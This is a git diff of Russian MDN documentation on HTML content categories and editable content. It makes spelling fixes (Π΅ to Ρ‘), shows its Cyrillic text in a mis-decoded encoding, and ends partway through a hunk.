+<p>Π‘ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ Π²Π΅Π±-сайтам ΠΈ Π²Π΅Π±-прилоТСниям часто трСбуСтся ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ. БтатичСскиС изобраТСния Π»Π΅Π³ΠΊΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ элСмСнта {{HTMLElement("img")}}, ΠΈΠ»ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS свойства  {{cssxref("background-image")}}. Часто трСбуСтся ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ Π½Π° Π»Π΅Ρ‚Ρƒ, ΠΈΠ»ΠΈ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘ ΠΊΠ°ΠΊΠΈΠΌ-Π»ΠΈΠ±ΠΎ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ послС. Как это ΠΏΡ€ΠΎΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠ·Π½Π°Ρ‚ΡŒ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΡΡ‚Π°Ρ‚ΡŒΡΡ….</p>
<div class="row topicpage-table">
<div class="section">
diff --git a/files/ru/web/guide/html/content_categories/index.html b/files/ru/web/guide/html/content_categories/index.html
index 16e41106a0..1334570d7b 100644
--- a/files/ru/web/guide/html/content_categories/index.html
+++ b/files/ru/web/guide/html/content_categories/index.html
@@ -3,7 +3,7 @@ title: ΠšΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°
slug: Web/Guide/HTML/Content_categories
translation_of: Web/Guide/HTML/Content_categories
---
-<p><span class="seoSummary">ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт <a href="/ru/docs/Web/HTML">HTML</a> ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ количСству ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ элСмСнты с ΠΎΠ±Ρ‰ΠΈΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ характСристик. Вакая Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²ΠΊΠ° являСтся свободной, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π½Π΅ Π·Π°Π΄Π°Π΅Ρ‚ Π½Π° самом Π΄Π΅Π»Π΅ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтами Ρ‚Π°ΠΊΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ², Π½ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ, особСнно ΠΊΠΎΠ³Π΄Π° Π΄Π΅Π»ΠΎ Π΄ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Π΄ΠΎ слоТных Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ. Π’Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° ситуация, ΠΊΠΎΠ³Π΄Π° элСмСнт Π½Π΅ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ <em>Π½ΠΈ Π² ΠΎΠ΄Π½Ρƒ</em> ΠΈΠ· этих ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉ.</span></p>
+<p><span class="seoSummary">ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт <a href="/ru/docs/Web/HTML">HTML</a> ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ количСству ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ элСмСнты с ΠΎΠ±Ρ‰ΠΈΠΌ Π½Π°Π±ΠΎΡ€ΠΎΠΌ характСристик. Вакая Π³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²ΠΊΠ° являСтся свободной, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π½Π΅ Π·Π°Π΄Π°Ρ‘Ρ‚ Π½Π° самом Π΄Π΅Π»Π΅ ΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтами Ρ‚Π°ΠΊΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ², Π½ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈ ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΈΡ… ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΎΠ½ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ, особСнно ΠΊΠΎΠ³Π΄Π° Π΄Π΅Π»ΠΎ Π΄ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Π΄ΠΎ слоТных Π΄Π΅Ρ‚Π°Π»Π΅ΠΉ. Π’Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Π° ситуация, ΠΊΠΎΠ³Π΄Π° элСмСнт Π½Π΅ Π²Ρ…ΠΎΠ΄ΠΈΡ‚ <em>Π½ΠΈ Π² ΠΎΠ΄Π½Ρƒ</em> ΠΈΠ· этих ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉ.</span></p>
<p>БущСствуСт Ρ‚Ρ€ΠΈ Ρ‚ΠΈΠΏΠ° ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°:</p>
@@ -49,12 +49,12 @@ translation_of: Web/Guide/HTML/Content_categories
<p>К этой ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‚ элСмСнты {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("nav")}} ΠΈ {{HTMLElement("section")}}.Β </p>
<div class="note">
-<p>НС стоит ΠΏΡƒΡ‚Π°Ρ‚ΡŒ Π΄Π°Π½Π½ΡƒΡŽ модСль ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° с ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠ΅ΠΉ <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#ΠšΠΎΡ€Π½ΠΈ_задания_Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ²">корня задания Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ²</a>, которая ΠΈΠ·ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ своС содСрТимоС ΠΎΡ‚ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ структуры.</p>
+<p>НС стоит ΠΏΡƒΡ‚Π°Ρ‚ΡŒ Π΄Π°Π½Π½ΡƒΡŽ модСль ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° с ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠ΅ΠΉ <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document#ΠšΠΎΡ€Π½ΠΈ_задания_Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ²">корня задания Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ²</a>, которая ΠΈΠ·ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ своё содСрТимоС ΠΎΡ‚ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΉ структуры.</p>
</div>
<h3 id="Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΡ‡Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚_2"><a name="Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΡ‡Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a></h3>
-<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π·Π°Π΄Π°Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ сСкции, явно ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½ΠΎΠΉ структурным элСмСнтом ΠΈΠ»ΠΈ нСявно – самим Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΡ‡Π½Ρ‹ΠΌ.</p>
+<p>Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π·Π°Π΄Π°Ρ‘Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ сСкции, явно ΠΎΡ‚ΠΌΠ΅Ρ‡Π΅Π½Π½ΠΎΠΉ структурным элСмСнтом ΠΈΠ»ΠΈ нСявно – самим Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΡ‡Π½Ρ‹ΠΌ.</p>
<p>Π”Π°Π½Π½ΠΎΠΉ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‚ Ρ‚Π°ΠΊΠΈΠ΅ элСмСнты, ΠΊΠ°ΠΊ {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}} ΠΈ {{HTMLElement("hgroup")}}.</p>
@@ -63,7 +63,7 @@ translation_of: Web/Guide/HTML/Content_categories
</div>
<div class="note">
-<p>Π‘Ρ‚ΠΎΠΈΡ‚ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ элСмСнт {{HTMLElement("hgroup")}} Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· спСцификации W3C HTML Π΄ΠΎ привСдСния HTML 5 ΠΊ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΌΡƒ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρƒ, Π½ΠΎ Π΄ΠΎ сих ΠΏΠΎΡ€ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ спСцификации WHATWG ΠΈ ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ частично поддСрТиваСтся Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
+<p>Π‘Ρ‚ΠΎΠΈΡ‚ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ элСмСнт {{HTMLElement("hgroup")}} Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· спСцификации W3C HTML Π΄ΠΎ привСдСния HTML 5 ΠΊ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠΌΡƒ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρƒ, Π½ΠΎ Π΄ΠΎ сих ΠΏΠΎΡ€ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ спСцификации WHATWG ΠΈ ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ частично поддСрТиваСтся Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
</div>
<h3 id="Phrasing_content" name="Phrasing_content">Π€Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</h3>
@@ -72,7 +72,7 @@ translation_of: Web/Guide/HTML/Content_categories
<p>К Π΄Π°Π½Π½ΠΎΠΉ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ элСмСнты:Β  {{HTMLElement("abbr")}}, {{HTMLElement("audio")}}, {{HTMLElement("b")}}, {{HTMLElement("bdo")}}, {{HTMLElement("br")}}, {{HTMLElement("button")}}, {{HTMLElement("canvas")}}, {{HTMLElement("cite")}}, {{HTMLElement("code")}}, {{ Obsolete_inline() }}{{HTMLElement("command")}}, {{HTMLElement("data")}}, {{HTMLElement("datalist")}}, {{HTMLElement("dfn")}}, {{HTMLElement("em")}}, {{HTMLElement("embed")}}, {{HTMLElement("i")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("kbd")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("mark")}}, {{MathMLElement("math")}}, {{HTMLElement("meter")}}, {{HTMLElement("noscript")}}, {{HTMLElement("object")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("q")}}, {{HTMLElement("ruby")}}, {{HTMLElement("samp")}}, {{HTMLElement("script")}}, {{HTMLElement("select")}}, {{HTMLElement("small")}}, {{HTMLElement("span")}}, {{HTMLElement("strong")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{SVGElement("svg")}}, {{HTMLElement("textarea")}}, {{HTMLElement("time")}}, {{HTMLElement("var")}}, {{HTMLElement("video")}}, {{HTMLElement("wbr")}} ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ тСкст (Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ состоящий ΠΈΠ· символов ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ²).</p>
-<p>Π•Ρ‰Π΅ нСсколько элСмСнтов входят Π² Π΄Π°Π½Π½ΡƒΡŽ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΡŽ ΠΏΡ€ΠΈ соблюдСнии особых условий:</p>
+<p>Π•Ρ‰Ρ‘ нСсколько элСмСнтов входят Π² Π΄Π°Π½Π½ΡƒΡŽ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΡŽ ΠΏΡ€ΠΈ соблюдСнии особых условий:</p>
<ul>
<li>{{HTMLElement("a")}}, Ссли содСрТит Π² сСбС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</li>
@@ -86,12 +86,12 @@ translation_of: Web/Guide/HTML/Content_categories
<h3 id="ВстроСнный_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">ВстроСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</h3>
-<p>ВстроСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π΄Ρ€ΡƒΠ³ΠΎΠΉ рСсурс ΠΈΠ»ΠΈ вставляСт содСрТимоС Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ языкС Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰Π΅Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ пространству ΠΈΠΌΠ΅Π½. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ Π΄Π°Π½Π½ΠΎΠΉ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.</p>
+<p>ВстроСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π΄Ρ€ΡƒΠ³ΠΎΠΉ рСсурс ΠΈΠ»ΠΈ вставляСт содСрТимоС Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ языкС Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΈΠ»ΠΈ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰Π΅Π΅ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ пространству ΠΈΠΌΡ‘Π½. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ Π΄Π°Π½Π½ΠΎΠΉ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ: {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{MathMLElement("math")}}, {{HTMLElement("object")}}, {{SVGElement("svg")}}, {{HTMLElement("video")}}.</p>
<h3 id="Π˜Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚"><a name="interactive_content">Π˜Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a></h3>
<p>К ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΌΡƒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ относятся элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹ для взаимодСйствия с ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ. Π’ Π΄Π°Π½Π½ΡƒΡŽ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΡŽ входят {{HTMLElement("a")}}, {{HTMLElement("button")}}, {{HTMLElement("details")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{deprecated_inline()}}{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("select")}} ΠΈ {{HTMLElement("textarea")}}.<br>
- НСкоторыС элСмСнты ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ соблюдСнии ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… условий:</p>
+ НСкоторыС элСмСнты ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ соблюдСнии ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… условий:</p>
<ul>
<li>{{HTMLElement("audio")}}, Ссли ΡƒΠΊΠ°Π·Π°Π½ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("controls", "audio")}}</li>
@@ -104,7 +104,7 @@ translation_of: Web/Guide/HTML/Content_categories
<h3 id="Π―Π²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">Π―Π²Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</h3>
-<p>ΠšΠΎΠ½Ρ‚Π΅Π½Ρ‚ считаСтся явным, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π½Π΅ скрыт ΠΈ Π½Π΅ являСтся пустым, это ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ ΠΈ ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚Π΅Π½. Π£ элСмСнтов ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Ρ„Ρ€Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ хотя Π±Ρ‹ ΠΎΠ΄ΠΈΠ½ явный ΡƒΠ·Π΅Π».</p>
+<p>ΠšΠΎΠ½Ρ‚Π΅Π½Ρ‚ считаСтся явным, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ Π½Π΅ скрыт ΠΈ Π½Π΅ являСтся пустым, это ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½ ΠΈ ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚Π΅Π½. Π£ элСмСнтов ΠΏΠΎΡ‚ΠΎΠΊΠΎΠ²ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Ρ„Ρ€Π°Π·ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ хотя Π±Ρ‹ ΠΎΠ΄ΠΈΠ½ явный ΡƒΠ·Π΅Π».</p>
<h3 id="ΠšΠΎΠ½Ρ‚Π΅Π½Ρ‚_Ρ„ΠΎΡ€ΠΌ">ΠšΠΎΠ½Ρ‚Π΅Π½Ρ‚ Ρ„ΠΎΡ€ΠΌ</h3>
@@ -143,7 +143,7 @@ translation_of: Web/Guide/HTML/Content_categories
<h3 id="Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹_ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ_скриптов">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ скриптов</h3>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ скриптов – это элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ Π½Π΅ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° отрисовку Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. ВмСсто этого ΠΎΠ½ΠΈ слуТат для внСдрСния скриптов, ΠΏΡƒΡ‚Π΅ΠΌ Π»ΠΈΠ±ΠΎ содСрТания ΠΊΠΎΠ΄Π° скрипта Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, Π»ΠΈΠ±ΠΎ указания Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ скриптами.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ скриптов – это элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ Π½Π΅ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° отрисовку Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. ВмСсто этого ΠΎΠ½ΠΈ слуТат для внСдрСния скриптов, ΠΏΡƒΡ‚Ρ‘ΠΌ Π»ΠΈΠ±ΠΎ содСрТания ΠΊΠΎΠ΄Π° скрипта Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ, Π»ΠΈΠ±ΠΎ указания Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ скриптами.</p>
<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ скриптов ΡΠ²Π»ΡΡŽΡ‚ΡΡ:</p>
diff --git a/files/ru/web/guide/html/editable_content/index.html b/files/ru/web/guide/html/editable_content/index.html
index c260371219..9f8b6b6389 100644
--- a/files/ru/web/guide/html/editable_content/index.html
+++ b/files/ru/web/guide/html/editable_content/index.html
@@ -12,13 +12,13 @@ translation_of: Web/Guide/HTML/Editable_content
<p>ВсС, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, это ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("contenteditable")}} ΠΏΠΎΡ‡Ρ‚ΠΈ Π½Π° любой элСмСнт HTML, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π΅Π³ΠΎ доступным для рСдактирования.</p>
-<p>Π’ΠΎΡ‚ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСт элСмСнт {{HTMLElement("div")}}, содСрТимоС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</p>
